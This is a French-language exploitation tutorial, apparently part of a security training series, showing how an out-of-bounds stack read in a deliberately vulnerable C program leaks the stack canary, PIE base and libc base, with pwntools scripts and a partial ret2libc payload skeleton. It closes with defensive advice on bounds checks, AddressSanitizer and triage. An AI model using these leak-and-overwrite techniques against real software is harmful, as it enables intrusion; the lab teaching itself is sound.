Aller au contenu

Fuites d'information : vaincre l'ASLR et les canaris

Les exploits modernes sont fuiter-puis-agir. Construisez une lecture hors limites, puis servez-vous-en pour retrouver un canari de pile, la base PIE et la base libc.

Publié le 5 min de lecture

Ceci est le septième tutoriel de la section Techniques d'exploitation, et il revient sur la primitive sur laquelle les discussions de ret2libc et de PIE n'arrêtaient pas de s'appuyer : la fuite d'information. Les techniques de corruption retiennent l'attention, mais sur une cible moderne, c'est la fuite qui les rend possibles. Ce guide en construit une et s'en sert pour vaincre, tour à tour, le canari de pile, le PIE et l'ASLR de la libc.

Mêmes règles : votre propre binaire, labo jetable. Voir les règles du labo.

Les mitigations sont des secrets, pas des murs

Un canari est une valeur aléatoire que vous ne devez pas connaître. Le PIE et l'ASLR sont des adresses de base aléatoires que vous ne devez pas connaître. Aucun d'eux n'arrête une écriture — ils arrêtent une écriture aveugle, en cachant la valeur ou l'adresse dont l'écriture dépend. Une fuite retire le bandeau :

Secret fuitéMitigation vaincueCe que vous pouvez alors faire
Valeur du canari de pileCanari de pileDéborder au-delà du canari, en le remplaçant par lui-même
Un pointeur de code (adresse de retour)PIECalculer la base du binaire ; utiliser ses gadgets/symboles
Un pointeur libc (p. ex. une entrée GOT)ASLR de la libcCalculer la base libc ; utiliser system, les one-gadgets

La cible

Un programme avec une lecture hors limites d'apparence bénigne : il réaffiche l'emplacement de pile à un indice que vous fournissez, sans borne supérieure. Ce seul bug fuite tout.

/* vuln.c — une lecture OOB qui divulgue le contenu de la pile. */
#include <stdio.h>

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    unsigned long stack[16];
    for (int i = 0; i < 16; i++) stack[i] = 0;   /* quelques vraies données */

    unsigned idx;
    puts("index?");
    if (scanf("%u", &idx) != 1) return 1;
    /* le bug : aucune vérification que idx < 16 */
    printf("value: %#lx\n", stack[idx]);         /* lit au-delà du tableau */
    return 0;
}
gcc -fstack-protector-strong -pie -fPIE -O0 -g -o vuln vuln.c   # canari ET PIE ACTIVÉS

Notez que cette fois nous compilons avec les mitigations activées — tout l'enjeu est de fuiter au-delà d'elles.

Étape 1 — cartographier la pile

Lire des indices successifs au-delà du tableau remonte le cadre de pile. Quelques lectures révèlent le canari (une valeur aléatoire de 8 octets dont l'octet de poids faible est 00), le pointeur de cadre sauvegardé (une adresse de pile) et l'adresse de retour sauvegardée (un pointeur de code vers le binaire — ou vers la libc pour le retour de __libc_start_main).

from pwn import *
context.binary = elf = ELF("./vuln")

def leak(idx):
    io = process("./vuln")
    io.sendlineafter(b"index?\n", str(idx).encode())
    io.recvuntil(b"value: ")
    val = int(io.recvline().strip(), 16)
    io.close()
    return val

for i in range(16, 24):
    log.info("stack[%d] = %#018x", i, leak(i))
stack[16] = 0x0000000000000000
stack[17] = 0x00000a1b2c3d4e00   ← canari (se termine par 00)
stack[18] = 0x00007ffd1234abc0   ← rbp sauvegardé (adresse de pile)
stack[19] = 0x00005600aabbc123   ← adresse de retour sauvegardée (pointeur de code PIE)
stack[20] = 0x00007f88deadbe40   ← une adresse libc (__libc_start_main+décalage)

L'octet 00 de fin est l'empreinte d'un canari : glibc met l'octet de poids faible à zéro pour qu'une lecture de chaîne ne puisse pas le fuiter ou le déborder facilement.

Étape 2 — transformer chaque fuite en base

canary   = leak(17)
ret_addr = leak(19)
libc_ret = leak(20)

# Base PIE : adresse de retour fuitée moins son décalage dans le binaire.
# (trouvez le décalage une fois, dans gdb : l'adresse est main+NN ou __libc_csu... )
elf.address = ret_addr - elf.symbols["main"] - RET_OFFSET_IN_MAIN

# Base libc : retour libc fuité moins le décalage __libc_start_main_ret pour cette libc.
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = libc_ret - LIBC_START_MAIN_RET

log.success("canari    = %#x", canary)
log.success("base PIE  = %#x", elf.address)
log.success("base libc = %#x", libc.address)

Avec elf.address et libc.address définis, pwntools résout chaque gadget et symbole à son vrai emplacement d'exécution. Les trois mitigations sont maintenant transparentes.

Étape 3 — dépenser les fuites

Dans un vrai exploit, la fuite et la corruption sont deux usages d'un même bug (souvent) ou d'un bug apparié. Supposons que le même programme ait aussi un débordement de pile : vous construiriez maintenant une charge utile qui

  1. remplit le tampon,
  2. remplace le canari par la valeur fuitée (pour que la vérification de l'épilogue passe),
  3. écrase l'adresse de retour sauvegardée avec une chaîne ret2libc construite contre le libc.address retrouvé.
payload  = b"A" * OFFSET_TO_CANARY
payload += p64(canary)          # le canari survit à la vérification
payload += b"B" * 8             # rbp sauvegardé
payload += p64(libc.address + libc.symbols["system"] ...)  # ret2libc, adresses connues

Le canari n'est pas contourné ; il est satisfait. C'est le modèle mental important : un canari fuité rend la vérification une formalité.

Pourquoi il n'y a pas de « réactiver la mitigation » ici

Ce guide est la contre-leçon. Les mitigations étaient déjà activées ; la fuite les a vaincues quand même. La défense contre une fuite n'est pas une autre mitigation cachant des adresses — c'est de ne pas avoir le bug de divulgation :

  • Vérifiez les bornes de chaque indice et longueur (le correctif de cette lecture OOB exacte).
  • Ne renvoyez pas de tampons non initialisés à l'utilisateur ; mettez-les à zéro ou remplissez-les entièrement.
  • Compilez avec -Wformat=2 pour tuer les fuites par chaîne de format — voir bugs de chaîne de format.
  • Trouvez-les avec AddressSanitizer (il signale les lectures hors limites, pas seulement les écritures) et le fuzzing.

Ce que cela enseigne à un défenseur

  • Cotez les bugs de lecture comme les bugs d'écriture. Une lecture hors limites paraît de faible gravité isolément et est souvent la clé de voûte d'un exploit critique. Au triage, associez-la à tout bug de corruption voisin — voir lire les rapports de crash.
  • Un canari se terminant par 00 est intentionnel, et une seule fuite de celui-ci le neutralise. Les canaris arrêtent les écrasements linéaires aveugles, rien de plus.
  • La défense en profondeur compte toujours : le PIE et l'ASLR forcent l'attaquant à trouver d'abord une fuite. Un binaire sans bug de divulgation garde ses secrets, et chaque technique en aval de cette série cale sans eux.

Points clés

  • L'ASLR, le PIE et les canaris sont des secrets ; une fuite d'un pointeur ou d'une valeur par région vainc chacun d'eux.
  • Une lecture hors limites qui divulgue des emplacements de pile peut fuiter le canari, un pointeur de code PIE et un pointeur libc d'un coup.
  • Convertissez une fuite en base en soustrayant le décalage connu, puis laissez pwntools résoudre tout le reste.
  • Un canari fuité est satisfait, pas contourné — vous le réécrivez par-dessus lui-même. Le vrai correctif est d'éliminer le bug de divulgation.

Ensuite : SROP, transformer un unique gadget syscall en contrôle total des registres quand les gadgets ordinaires sont rares.

Guides associés

0x7000 · Techniques d'exploitation

Retourner dans la libc : la technique ret2libc

NX est actif et le binaire est minuscule, mais la libc est mappée et pleine de code utile. Fuitez sa base malgré l'ASLR, puis retournez dans system("/bin/sh").